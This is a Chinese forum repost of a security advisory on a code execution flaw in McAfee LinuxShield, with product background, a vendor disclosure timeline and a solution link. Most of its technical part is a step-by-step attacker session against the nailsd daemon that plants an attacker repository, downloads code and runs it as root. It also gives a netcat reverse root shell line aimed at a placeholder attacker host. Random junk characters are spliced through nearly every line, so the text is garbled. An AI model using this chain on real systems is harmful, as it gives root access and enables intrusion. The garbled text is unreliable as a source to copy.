|
- 帖子
- 130
- 积分
- 262
- 阅读权限
- 10
- 注册时间
- 2007-10-16
|
路人
发表于 2019-10-29 23:55
| 只看该作者
McAfee LinuxShield 本地/远程代码执行漏洞
McAfee LinuxShield remote/local code
l1 }. m# s' y8 H" s影响版本: McAfee LinuxShield <= 1.5.1
N) i) c; N2 [2 {远程攻击: Yes
. W: [( v# z" L N' \ m本地溢出: Yes! p0 L3 W% J" @. a
背景阅读:: v3 I- R* t4 K2 {2 Q M
===========
6 P: f8 }# w7 H7 q* }$ D5 q
, v: Z4 S2 v! u' U6 O& c* yLinuxShield detects and removes viruses and other potentially unwanted
7 ^; t' m( B1 k7 B% {; Esoftware on Linux-based systems. LinuxShield uses the powerful McAfee, g6 H8 y( ]( X" \, }: E1 b
scanning engine ?&#65533;&#65533; the engine common to all our3 i4 }, a. }/ v$ Q$ O7 s1 Z
anti-virus products.2 ]# [' P0 t8 d+ M) I/ Q" e
3 j& _8 k& |, u) d3 bAlthough a few years ago, the Linux operating system was considered a4 L. I9 C, s$ b/ }
secure environment, it is now seeing more occurrences of software
3 t* u: n, V' H9 C" `4 j0 \specifically written to attack or exploit security weaknesses in
- {9 s4 g8 w- T: L* o& DLinux-based systems. Increasingly, Linux-based systems interact with
7 V1 X: M# e S5 i6 MWindows-based computers. Although viruses written to attack Windows-
" ?/ T( a4 ?$ f, t% x2 Q; Tbased systems do not directly attack Linux systems, a Linux server* M. G. ^6 ?. @, A" ^4 H2 \
can harbor these viruses, ready to infect any client that connects to
+ T D# B& Z8 Q% m0 Q! P F0 yit.
# r; V4 e! N/ p( B Z4 L8 j. P2 V7 z5 a" {: A
When installed on your Linux systems, LinuxShield provides protection& y0 R/ r( V, Z$ [2 i5 n
against viruses, Trojan horses, and other types of potentially t( p- y1 Y. V$ l% o& R
unwanted software.
& M0 ?' B8 U7 d! t% w- _! ^9 X, Y! w6 F& z, _" Y2 J
LinuxShield scans files as they are opened and closed! N* t' T3 y `* w& w9 @% n7 @
?&#65533;&#65533; a technique7 D/ G3 d& b+ q/ |: L, K. N
known as on-access scanning. LinuxShield also incorporates an
/ S% P. y( k0 B D9 i Y8 Von-demand scanner that enables you to scan any directory or file in; w5 N6 Z( J# x& K
your host at any time.* R5 ?8 `/ [: c% F) F; A
& e; O) s+ Y* h# kWhen kept up-to-date with the latest virus-definition (DAT) files,3 C- e. R+ W, e S! c
LinuxShield is an important part of your network security. We! P5 g' W- k2 j+ c
recommend that you set up an anti-virus security policy for your
8 x# M3 K9 Z( n$ _6 Inetwork, incorporating as many protective measures as possible.
Q, ?4 p! V; O% a: J/ W* m4 v$ T: G4 W K$ \( L
LinuxShield uses a web-browser interface, and a large number of
, p5 L4 B }! b& zLinuxShield installations can be centrally controlled by ePolicy% H8 Z" T3 f4 `! R6 m* X% ^
Orchestrator.7 v, `6 b& S- m: \" K& h
7 k$ d, f1 T6 b1 g* t, t(Product description from LinuxShield Product Guide)+ l3 ?$ v- K4 i/ ?, [* j9 [
3 I3 X+ \4 O' v: N# Y
* k% ]- K; n3 M; k" b: n- I
4 N% t1 u/ y+ @Description:& `, G6 \( n. V2 B
============4 h$ d- H7 X' x; o: p' b. c$ R P
# e4 ?7 T8 n" P; t' z3 f
This vulnerability allows remote attackers to execute arbitrary code/ G: }4 J2 k+ O. `+ B
on vulnerable installations of McAfee LinuxShield. User interaction! Q( V) Y9 |1 t
is not required to exploit this vulnerability but an attacker must
, L5 V w/ X7 L) L, T5 H% Tbe authenticated.1 E& o# O' T2 ^6 |- A+ R9 P
0 S% }" q& U2 o8 x
The LinuxShield Webinterface communicates with the localy installed
# A) n% \! S) T+ k"nailsd" daemon, which listens on port 65443/tcp, to do
# G* p& o U8 l, V# p# Tconfiguration2 @! @8 Y$ w( ?# T6 w' _+ H2 \
changes, query the configuration and execute tasks.
. z4 e0 }* L' j& U7 N
- \+ q6 z: D4 DEach user, which can login to the victim box, can also authenticate- [9 u' F, o9 n) C
it self to the "nailsd" and can do configuration changes and' l3 w+ j/ r) `7 p& n0 a
execute
0 M U& z: j B% Y( g- w7 i- stasks with root privileges.1 A, X+ c& o; P: T( Q! T. C
8 h4 k g9 i7 j6 ]! [4 vA direct execution of commands is not possible, but it is possible to
B# u; h- a# C" ~, \download and execute code through manipulation of the config and
) r1 y, e( S* `execute schedule tasks of the LinuxShield.9 n, b. C4 n. d& n
) m+ y: o- g* u1 X& J! `3 I# v7 _. d) U7 n" o z4 P: s' Y
walk-through (after the TLS handshake):
" N* o7 I, Q8 C; A/ l5 q+--------------------------------------$ ]9 L! r9 k# D/ J
$ r( c2 I& ?8 o
nailsd > +OK welcome to the NAILS Statistics Service4 Y' p, n2 G" \$ X# m
attacker> auth <user> <pass> U- K2 D# z& m9 r8 Z
nailsd > +OK successful authentication2 n) y! ]" p3 @7 L" S
6 t' [$ x/ S! h" U! P p7 L: U# Set the Attacker repository to download our code from a httpd+ F, P9 [3 ?8 ~) F2 r
# (catalog.z)
, r2 J' @+ }- y+ F- ^, C6 R- w#---------------------------------------------------------------0 ~' [$ S4 p. Q# h( n5 I' O
attacker> db set 1 _table=repository status=1 siteList=<?xml version2 o' [9 R, D* z: @+ u
="1.0" encoding="UTF-8"?><ns:SiteLists% R* }) L: e3 D
xmlns:ns="naSiteLi
: A' J; }: R5 D; D2 v: cst" GlobalVersion="20030131003110"1 t# E4 Q( v; @: T# m4 W
LocalVersion="20091209
+ d2 E! c- ~6 v3 h0 F6 P& ~161903" Type="Client"><SiteList* c5 ^* T$ l M% x* }" n7 P% w
Default="1" Name="SomeGU
# I6 X$ v! ?8 z) tID"><HttpSite Type="repository"
8 g2 H: g2 r- TName="EvilRepo" Order="1
7 |( A4 A" J% `! ?! t/ v1 L# p" Server="<attackerhost>:80"* O/ R' Q2 n8 I* y3 G% k( Q
Enabled="1" Local="1"><Rela) N( u& o2 f& i. g2 ]
8 o1 K; s5 Y' i, FtivePath>nai</RelativePath><UseAuth>0</UseAuth><Use w+ K" l4 O4 s' W
rName></ K, C- ~9 S2 m( O
UserName><Password% T) E, e3 @6 Q8 ~' U+ ?
Encrypted="0"/></HttpSite></SiteList></! x4 H# N% x$ R7 U& O: Q, A
ns:SiteLists> _cmd=update
# x ?* ]) n- q9 unailsd > +OK database changes buffered.
0 @! k% S# k; h5 W4 L4 P
/ G% ^, f N! O6 [ ]# d& P7 k9 k# Execute task to set the attacker repository
0 u1 B5 X) h, J, x#---------------------------------------------------------------- _, U( L- H, [! E% b# O4 g5 i
attacker> task setsitelist
K9 J( c7 [2 f: _7 C; \nailsd > +OK setting sitelist from CMA.; N5 G2 S9 m: H& K
l6 n0 L, B$ S5 O: B( P
# Execute the default Update task to download the code& t6 R8 D ^$ u/ {" O" F ]
#---------------------------------------------------------------
1 H+ q4 e& k; B, ?$ X* a& C& s battacker> task nstart LinuxShield Update
9 A. ^$ X- \* `1 G& pnailsd > +OK task LinuxShield Update starting, |% i' D* [6 a9 R- @
. ?2 o2 X+ D3 x) o" o4 ?
# Create a Scan profile, which executes our code. The profiles are
: @& `/ y% w) r3 F2 L5 d( u# not stored in the database.) w7 k9 f/ M' G
# Scan Profiles: /var/opt/NAI/LinuxShield/etc/ods.cfg
5 o }/ s# x5 \' m#---------------------------------------------------------------
1 G5 d' b) ~+ H) L; }attacker> sconf ODS_99 begin6 b9 |5 m. D9 T3 H; ?" I( D, _
nailsd > +OK 1260400888
9 A7 b/ u+ d9 c* z- g. `! w" M9 b& ?" M" ^. M! d* c4 H+ w3 I* d
# Set the variable "nailsd.profile.ODS_99.scannerPath" to the
& |+ \7 ^- \' s+ n" Vpath2 s4 r5 i; ]7 k
# where our earlier downloaded catalog.z file is stored.8 c9 S- S& w9 z$ B
# (/opt/McAfee/cma/scratch/update/catalog.z)
6 c3 g. r+ `# ^! j#---------------------------------------------------------------/ y3 w& X0 O( n5 @. ?
attacker> sconf ODS_99 set 1260400888 nailsd.profile.ODS_99.allFiles=! m) V# [6 y" M2 ~: d
true nailsd.profile.ODS_99.childInitTmo=60 nailsd.profile.O; X$ E! D0 m. H; Q( |. ?7 w
DS_99.cleanChildren=2 nailsd.profile.ODS_99.cleansPerChild=, n, p4 [4 T+ e/ \/ R$ {
10000 nailsd.profile.ODS_5.datPath=/opt/NAI/LinuxShield/eng
1 W% A# e, G7 J2 w3 k3 M3 Eine/dat nailsd.profile.ODS_99.decompArchive=true nailsd.pro
2 r0 ]0 E/ b2 U" F. b. tfile.ODS_99.decompExe=true nailsd.profile.ODS_99.engineLibD
+ [' d% t8 l( mir=/opt/NAI/LinuxShield/engine/lib nailsd.profile.ODS_99.en# [" K. ~# U$ I, w( d/ x% b# a3 w
ginePath=/opt/NAI/LinuxShield/engine/lib/liblnxfv.so nailsd' _1 V% n& R8 h& t8 {$ a
.profile.ODS_99.factoryInitTmo=60 nailsd.profile.ODS_99.heu: r( I" ^) V `
risticAnalysis=true nailsd.profile.ODS_99.macroAnalysis=tru2 p( w" M8 F% Q* ^" j( X
e nailsd.profile.ODS_99.maxQueSize=32 nailsd.profile.ODS_99$ H& M+ U! `9 G7 Z ]
.mime=true nailsd.profile.ODS_99.noJokes=false nailsd.profi
7 E2 b( k L) }+ w9 H7 yle.ODS_99.program=true nailsd.profile.ODS_99.quarantineChil: J& |$ r( W* w+ `' B
dren=1 nailsd.profile.ODS_99.quarantineDirectory=/quarantin
, }5 D# U) u2 e0 X) v" be nailsd.profile.ODS_99.quarantinesPerChild=10000 nailsd.pr9 `: M" H& t8 j
ofile.ODS_99.scanChildren=2 nailsd.profile.ODS_99.scanMaxTm
; L7 o) x8 i* C x- S3 ~- Oo=301 nailsd.profile.ODS_99.scanNWFiles=true nailsd.profile# C2 t; X- R7 w3 ~% p2 l
.ODS_99.scanOnRead=true nailsd.profile.ODS_99.scanOnWrite=t% T/ a* n- X U. t8 x- b
rue nailsd.profile.ODS_99.scannerPath=/opt/McAfee/cma/scrat
5 H6 Q- p% H% Och/update/catalog.z nailsd.profile.ODS_99.scansPerChild=100% N. M8 E% ?( J/ o5 B9 ~
00 nailsd.profile.ODS_99.slowScanChildren=0 nailsd.profile.
% E, v7 {$ f2 C# \; d7 C+ qODS_99.filter.0.type=exclude-path nailsd.profile.ODS_99.fil3 ~0 O, l& U, C3 c. k& I
ter.0.path=/proc nailsd.profile.ODS_99.filter.0.subdir=true
/ I# x! g$ n/ p$ f1 [6 d) nnailsd.profile.ODS_99.filter.extensions.mode=all nailsd.pr! O& @5 T1 W$ l8 M" Z
ofile.ODS_99.filter.extensions.type=extension nailsd.profil2 _3 s9 z' A6 r7 ]9 L
e.ODS_99.action.Default.primary=Clean nailsd.profile.ODS_99
% V7 X- p v! v.action.Default.secondary=Quarantine nailsd.profile.ODS_99.7 {% u) t# p3 Z6 l
action.App.primary=Clean nailsd.profile.ODS_99.action.App.s
) f' y8 Y# a( h) f3 Lecondary=Quarantine nailsd.profile.ODS_99.action.timeout=Pa0 t$ i7 i( w& G2 S
ss nailsd.profile.ODS_99.action.error=Block
0 v6 \+ F7 \# j8 a* Q. lnailsd > +OK configuration changes buffered
) g! X9 @, X+ `8 P2 ?) N- wattacker> sconf ODS_99 commit 1260400888
* u( v. h% {0 T% xnailsd > +OK configuration changes stored: G9 C; B9 m8 S) t/ {4 [4 ~2 r- _
2 g: r# b( i6 w$ h' R( t# Set a scan task with the manipulated profile to execute the code4 y1 B% s' |& V2 h5 V) L: y" |
#---------------------------------------------------------------/ v& S( Q' y& ]9 M
attacker> db set 1260400888 _table=schedule taskName=Evil Task taskTy
& X0 ? s: V2 Zpe=On-Demand taskInfo=profileName=ODS_99,paths=path:/root/t
! o* U) }* Y3 r. _, Q0 `3 e) Imp;exclude:false timetable=type=unscheduled taskResults=0 i& p( M0 s- X8 D. b) U! B
_lastRun=1260318482 status=Stopped _cmd=insert
D5 r: k/ ]) G4 e+ |1 o0 v$ rnailsd > +OK database changes buffered N6 z& h! R3 R$ d
6 b; ]5 O' [4 O8 ~0 U$ ~6 Z
# Execute scan task to execute the code
5 J0 v+ m! L7 n# Q#---------------------------------------------------------------
1 {1 m( J- P7 N6 q" d( Sattacker> task nstart Evil Task
8 p, S: t' Z- F) e9 S- Y3 K. G
% d" |* J! c0 ?5 d3 h0 H- \+-------------------------------------- walk-through EOF
1 I# Z* n# k3 n2 G$ {2 A2 `! {: R+ P! S
! D2 d& L7 n+ ?$ `8 ^& pTo get a reverse root shell place something like this in the catalog.z
9 c8 b" B; t$ z9 ]/ c2 G! d+ q t4 G$ Z8 a7 |+ o5 Y
--- snip ---9 r+ E+ U% t6 J) o5 [
#!/bin/sh
# H3 [ O3 X+ Y. w1 ?8 b3 ~7 rnc -nv <attacker_host> 4444 -e /bin/sh% c) r* l- Q2 p ~1 w
--- /snip ---
+ q# |- a9 _, _. C; Y5 q' c' I/ I3 Z+ `2 h' {( f$ q3 H! X" g
+ \2 m" S* |4 U4 ~
3 w2 T, c( S/ Z: ]1 Q8 R- s0 E0 d6 c- B
Proof of Concept :4 v+ \! d b2 i ~, L2 [/ H
==================
, E# O; h( ]+ @: f
/ B; ~; L% Z3 l* uhttp://inj3ct0r.com/sploits/11165.tar.gz% V) i3 y8 l$ r( x& [/ ]
# d- E3 J6 I8 R& ^8 n5 i& \" i4 T) I
8 f4 |/ {0 D& T7 w" s. B2 D' C, X
Solution:% v& |* q6 b: d6 T# v3 @. Y9 q
=========
! R$ G5 f; J' @+ B9 d: Z
; d6 a2 b4 B+ S7 EMcAfee Advisory* I( I( U+ ] C$ ]0 m5 m8 z
+--------------
* u& H, u4 y' g X* P, J% Mhttps://kc.mcafee.com/corporate/index?page=content&id=SB10007
; T, q- z- \ H- y) i" Y2 ]& p% l/ k C/ r! G
& n2 L5 G# w5 E+ c% f: s. H- t
- Y+ n! a) \! y, w" G# ^$ tDisclosure Timeline (YYYY/MM/DD):
0 B7 u' C1 ~* w, J3 }=================================) k* b P; L! R
% r1 y" K9 a/ j; J
2009.12.07: Vulnerability found
4 L- l2 a$ L" P2 Q: s2010.02.03: Asked vendor for a PGP key
' ^; b, H$ H+ k# o- [' T2010.02.05: Vendor sent his PGP key* @1 c2 T N/ `; _4 ?
2010.02.05: Sent PoC, Advisory, Disclosure policy and planned disclosure# [4 h# m( M% F0 A/ V! k9 ?
date (2010.02.18) to Vendor
5 K2 B' J. f% `2010.02.05: Vendor acknowledges the reception of the advisory
4 c; \8 d3 x4 U! m( A2010.02.16: Ask for a status update, because the planned release date is; R3 t# O, f( [) o0 a7 c
2010.02.18.8 K* G7 _$ u4 w2 @$ n/ U8 o
2010.02.16: Vendor response that, they are currently working on a patch
# f. L5 a0 V" v0 B$ {2010.02.17: Changed release date to 2010.02.25.
; r1 I$ |1 w- x. r2010.02.22: Vendor gives a status update, that they are able to release3 T# r" n6 c! j% L7 k' _* g
the patch on 2010.02.25.
: X' H% q" a( e4 b% |, p {2010.02.24: Ask for a list of affected products and the advisory url.
3 `% ]4 b9 C& j# ]7 Y7 a5 m2010.02.24: Vendor sends the list.
$ X8 z5 M' k8 }+ m2 b2010.03.02: Release of this Advisory
7 `0 [' M: P% e8 l
- J& E+ q8 v4 P3 |& z+ s
+ t i" X+ r; a# q. f, R+ ?& c% [$ s0 k7 x
3 _" m( ^+ ~; X" q- [5 y
" z' J- h8 B- }, N, r1 E: ~( k
! k6 S) ]$ i, }0 e
}% w8 L- E8 v# n
4 w0 j7 Z0 W S+ R3 i8 ~! u5 _ G% ~! |" a4 I! I9 Y
: N2 `- E; {" n) p# }7 c: v0 y7 l( I0 V- Q& V
3 Z# P3 T1 u' e1 Q- E( q
5 G) m I4 p- C3 i t
3 u" I* G' k$ U6 p$ f: c
" ]; I2 q/ }/ b, Y+ E; n. K0 }; c* }4 a- ~
$ m. L7 Q, {- Z
B Z; @2 v! J( w& H
9 d7 Q( {2 m( F! X, n
$ [& v. H, e/ v9 I& q7 l
5 j+ ?# L7 @/ a& H9 z* }公告：https://www.sitedirsec.com公布最新漏洞，请关注 |
|
发表于 2011-3-4 13:57
| 
发表于 2019-6-20 23:57
| 